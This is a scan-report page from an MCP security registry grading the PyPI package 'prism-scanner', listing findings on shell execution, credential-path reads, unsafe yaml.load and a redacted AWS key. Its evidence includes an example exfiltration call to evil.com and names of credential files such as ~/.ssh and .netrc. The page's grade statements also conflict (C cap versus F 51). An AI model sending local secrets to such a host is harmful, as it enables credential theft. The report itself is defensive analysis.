Prism Scanner MCP Server
prism-scanner
PyPI
v0.2.2
Published by aidongise-cell — no publish provenance and no vendor-owned scope, so the publisher could not be verified. The repository link below is self-declared.
Every server starts at 100. These are the exact deductions the deterministic engine applied — each one reproducible, none of it an opinion or an LLM's guess:
| Points | What was found | Category |
|---|---|---|
| −22 | Hardcoded AWS access key id in server code MTC-SRC-008 | exfiltration |
| −15.4 | Obfuscated / encoded payload in server code MTC-SRC-004 | injection |
| −9.5 | Unsafe deserialization ×2 MTC-SRC-007 | permissions |
| −2.1 | Package has no source repository MTC-SUP-011 | supply-chain |
Grade capped: 1 confirmed high finding → grade capped at C. A hard gate overrides the point total — no amount of clean surface buys back a confirmed catastrophe.
Capability observations and info notes are shown under Findings but never scored.
Open any row's finding below for the file, line and evidence behind the deduction.
Findings 17
high Reads a sensitive credential path or dumps the environment (src/prism/engines/ast_engine.py)MTC-SRC-006
In the server's implementation (`src/prism/engines/ast_engine.py:18`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ~/.ssh
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/engines/ast_engine.py
high Reads a sensitive credential path or dumps the environment (src/prism/engines/manifest_engine.py)MTC-SRC-006
In the server's implementation (`src/prism/engines/manifest_engine.py:105`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: .docker/config.json
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/engines/manifest_engine.py
high Reads a sensitive credential path or dumps the environment (src/prism/engines/residue_engine.py)MTC-SRC-006
In the server's implementation (`src/prism/engines/residue_engine.py:343`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: .netrc
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/engines/residue_engine.py
high Reads a sensitive credential path or dumps the environment (tests/test_scanner.py)MTC-SRC-006
In the server's implementation (`tests/test_scanner.py:82`): Reading private keys / cloud credentials, or serializing the whole environment, is a sensitive-data source that becomes exfiltration when combined with any egress. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: ~/.ssh
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_scanner.py
high Hardcoded AWS access key id in server code (tests/test_scanner.py)MTC-SRC-008
A live-looking AWS access key id is hardcoded in `tests/test_scanner.py:163`. Secrets in source ship to everyone who installs the package and are a direct credential leak.
Evidence: AWS access key id: AKIA…(redacted)
Fix: Remove the secret, rotate it, and load credentials from the environment or a secret store.
Location: server tests/test_scanner.py
high Obfuscated / encoded payload in server code (tests/test_scanner.py)MTC-SRC-004
In the server's implementation (`tests/test_scanner.py:408`): Decoding an encoded blob and executing it is how malicious logic is hidden from human review of the source. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: \x00\x00\x00\x10\x00\x00\x00\x10\x08\x06\x00\x00\x00\x1f\xf3\xff
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_scanner.py
high Dynamic code execution in server code (tests/test_scanner.py)MTC-SRC-001
In the server's implementation (`tests/test_scanner.py:344`): Evaluating strings as code is the most direct RCE primitive; if any tool input reaches it, the server executes attacker-chosen code. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: eval(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_scanner.py
high Shell/command execution in server code (src/prism/cleaner.py)MTC-SRC-002
In the server's implementation (`src/prism/cleaner.py:194`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/cleaner.py
high Shell/command execution in server code (src/prism/engines/ast_engine.py)MTC-SRC-002
In the server's implementation (`src/prism/engines/ast_engine.py:111`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: shell=True
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/engines/ast_engine.py
high Shell/command execution in server code (src/prism/engines/pattern_engine.py)MTC-SRC-002
In the server's implementation (`src/prism/engines/pattern_engine.py:114`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: exec(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/engines/pattern_engine.py
high Shell/command execution in server code (src/prism/engines/residue_engine.py)MTC-SRC-002
In the server's implementation (`src/prism/engines/residue_engine.py:77`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/engines/residue_engine.py
high Shell/command execution in server code (src/prism/fetcher.py)MTC-SRC-002
In the server's implementation (`src/prism/fetcher.py:53`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/fetcher.py
high Shell/command execution in server code (tests/test_scanner.py)MTC-SRC-002
In the server's implementation (`tests/test_scanner.py:54`): Spawning a shell/process is command-execution capability; with unsanitized tool input it is command injection / RCE. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: subprocess.run(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_scanner.py
medium Hardcoded egress to an external endpoint (tests/test_scanner.py)MTC-SRC-003
In the server's implementation (`tests/test_scanner.py:100`): A hardcoded outbound call to a fixed external host inside server code is a classic exfiltration/telemetry channel — especially paired with reads of local data. This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: requests.post("https://evil.com"
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_scanner.py
medium Unsafe deserialization (src/prism/engines/ast_engine.py)MTC-SRC-007
In the server's implementation (`src/prism/engines/ast_engine.py:529`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: yaml.load(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server src/prism/engines/ast_engine.py
medium Unsafe deserialization (tests/test_scanner.py)MTC-SRC-007
In the server's implementation (`tests/test_scanner.py:763`): Deserializing untrusted data with these APIs can execute arbitrary code (a well-known RCE gadget class). This is read from the code itself — not from the tool description — so a poisoned server cannot hide it behind honest-looking metadata.
Evidence: yaml.load(
Fix: Review this call path: confirm it never receives unsanitized tool input, constrain it, or remove it. Treat a server whose code reaches these sinks as high-capability regardless of what its tools claim.
Location: server tests/test_scanner.py
low Package has no source repositoryMTC-SUP-011
"prism-scanner" declares no repository URL, so its published artifact cannot be compared against reviewable source.
Fix: Prefer packages that link to public, reviewable source.
Location: package prism-scanner
What this scan could not see
- No tools were enumerated, so prompt-injection, capability and toxic-flow analysis had no tool surface to inspect. To grade a package’s real runtime tools, scan the running server: --command "npx -y <package>".
Versions
Scan history per published version. The engine is deterministic — the same version always yields the same score, so a changed score means the package itself changed.
| Version | Score | Findings | Engine | Scanned |
|---|---|---|---|---|
v0.2.2 latest |
F 51/100 | 17 | 1.5.0 | 2026-07-23 |
Embed this score
Show this server's live Trust Score in your README, docs or website. The badge is served straight from the registry and updates automatically after every rescan — no API key needed. It links back to this page, so anyone who sees the grade can also read the findings behind it instead of taking a number on faith.
Verify this score yourself
The score above is reproducible: the same package version always yields the same result. Run it locally or over the free API — no account, no LLM, fully deterministic.
npx mcptrustchecker scan prism-scanner --online --registry pypiMore in Developer Tools
Security scan results for the 199bio Mcp Limitless MCP server.
Security scan results for the 1c Odata MCP server.
Security scan results for the 1mcp MCP server.
Security scan results for the 1stay MCP server.
Generates production-ready UI components from natural language, inspired by v0.
Security scan results for the 2slides MCP server.